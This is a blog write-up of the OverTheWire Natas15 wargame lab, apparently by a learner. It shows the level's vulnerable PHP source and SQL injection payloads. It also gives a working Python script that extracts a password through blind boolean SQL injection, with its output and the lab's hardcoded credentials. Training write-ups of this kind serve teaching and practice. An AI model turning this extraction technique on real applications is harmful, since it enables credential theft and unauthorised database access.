Challange:
There is a single field named username to check the existence in the database.

Solving it:
We probably have to do another SQL injection, but lets have a look at the source code first.

 <html>
<body>
<h1>natas15</h1>
<div id="content">
<?

/*
CREATE TABLE `users` (
  `username` varchar(64) DEFAULT NULL,
  `password` varchar(64) DEFAULT NULL
);
*/

if(array_key_exists("username", $_REQUEST)) {
    $link = mysql_connect('localhost', 'natas15', '<censored>');
    mysql_select_db('natas15', $link);
    
    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
    if(array_key_exists("debug", $_GET)) {
        echo "Executing query: $query<br>";
    }

    $res = mysql_query($query, $link);
    if($res) {
        if(mysql_num_rows($res) > 0) {
            echo "This user exists.<br>";
        } else {
            echo "This user doesn't exist.<br>";
        }
    } else {
        echo "Error in query.<br>";
    }

    mysql_close($link);
} else {
?>

<form action="index.php" method="POST">
Username: <input name="username"><br>
<input type="submit" value="Check existence" />
</form>
<? } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

This is the query: SELECT * from users where username=\"".$_REQUEST["username"]."\"";. So this is SELECT * from users where username= "<username" again? So lets try the payload from the last challange which was " or 1=1. This gives us the message that the users exists, because the statement is true, which means we can inject something. Lets find out more, to easily inject the username I wanted to test if it was possible to do this in the url by adding “?username=” and this worked. Good! Lets test natas16, it worked. The user exists.

Looking in the source code we can give a debug argument in the request and it will print the query, it took a bit to get this to work but it works in the following url: http://natas15.natas.labs.overthewire.org/index.php?debug&username=natas16 . We can also see the query now, this might be useful to create a correct query.

So we have the username, now we need to find the password. I came onto this page. We can use AND password LIKE '%w%' Since there is an sql part in the source code who showed that there is a table named ‘users’ with the columns ‘username’ and ‘password’. We know that the column should be password. Lets try to manually bruteforce the first letter of the password with the '%w%' part to see if it works. I came to the following URL: http://natas15.natas.labs.overthewire.org/index.php?debug&username=natas16" AND PASSWORD LIKE '%w%'" Which translates to the following query: SELECT * from users where username="natas16" AND PASSWORD LIKE '%w%'"" . This means that there is a w in the password. Now lets try to manually bruteforce the first letter, if I put an a it give the message that the user doesn’t exist. So when it does exist we have the first letter. For this we use 'a%' where we change a to all the letters. This took what to long and didn’t found it so lets write a script since the password will probably be long.

So my python isn’t that good, still learning and following a course. I had to lookup a couple solutions, read them and then I had an idea on what to do. Some complications I had to go through. I used LIKE %w% in my query. This doesn’t check for upper- or lowercase characters. So I had to use LIKE BINARY. I also made a mistake by not passing the previous found letter into the request so it kept looping, found this by printing the uri every time the loops ends. So I had to add the password to the uri in the loop, before the new character being added. I came to the following solution:

import string
import requests

characters = string.ascii_letters + string.digits
url = "http://natas15.natas.labs.overthewire.org/"
auth_username = "natas15"
auth_password = "AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J"
password = ""
passlength = 32
exists_str = "This user exists."

# go through the loop till password is 32 characters long and then go into the loop passing all characters
while len(password) != 32:
    for char in characters:
        uri = ''.join([url, '?debug&', 'username=natas16"', '+and+password+LIKE+BINARY+"', password + char, '%'])
        r = requests.get(uri, auth=(auth_username, auth_password))
        if exists_str in r.text:
            password = password + char
            print("Password: {0}".format(password))

Outcome:

Password: W
 Password: Wa
 Password: WaI
 Password: WaIH
 Password: WaIHE
 Password: WaIHEa
 Password: WaIHEac
 Password: WaIHEacj
 Password: WaIHEacj6
 Password: WaIHEacj63
 Password: WaIHEacj63w
 Password: WaIHEacj63wn
 Password: WaIHEacj63wnN
 Password: WaIHEacj63wnNI
 Password: WaIHEacj63wnNIB
 Password: WaIHEacj63wnNIBR
 Password: WaIHEacj63wnNIBRO
 Password: WaIHEacj63wnNIBROH
 Password: WaIHEacj63wnNIBROHe
 Password: WaIHEacj63wnNIBROHeq
 Password: WaIHEacj63wnNIBROHeqi
 Password: WaIHEacj63wnNIBROHeqi3
 Password: WaIHEacj63wnNIBROHeqi3p
 Password: WaIHEacj63wnNIBROHeqi3p9
 Password: WaIHEacj63wnNIBROHeqi3p9t
 Password: WaIHEacj63wnNIBROHeqi3p9t0
 Password: WaIHEacj63wnNIBROHeqi3p9t0m
 Password: WaIHEacj63wnNIBROHeqi3p9t0m5
 Password: WaIHEacj63wnNIBROHeqi3p9t0m5n
 Password: WaIHEacj63wnNIBROHeqi3p9t0m5nh
 Password: WaIHEacj63wnNIBROHeqi3p9t0m5nhm
 Password: WaIHEacj63wnNIBROHeqi3p9t0m5nhmh

We found the password for Natas16.

5 Comments

Leave a Reply

Your email address will not be published. Required fields are marked *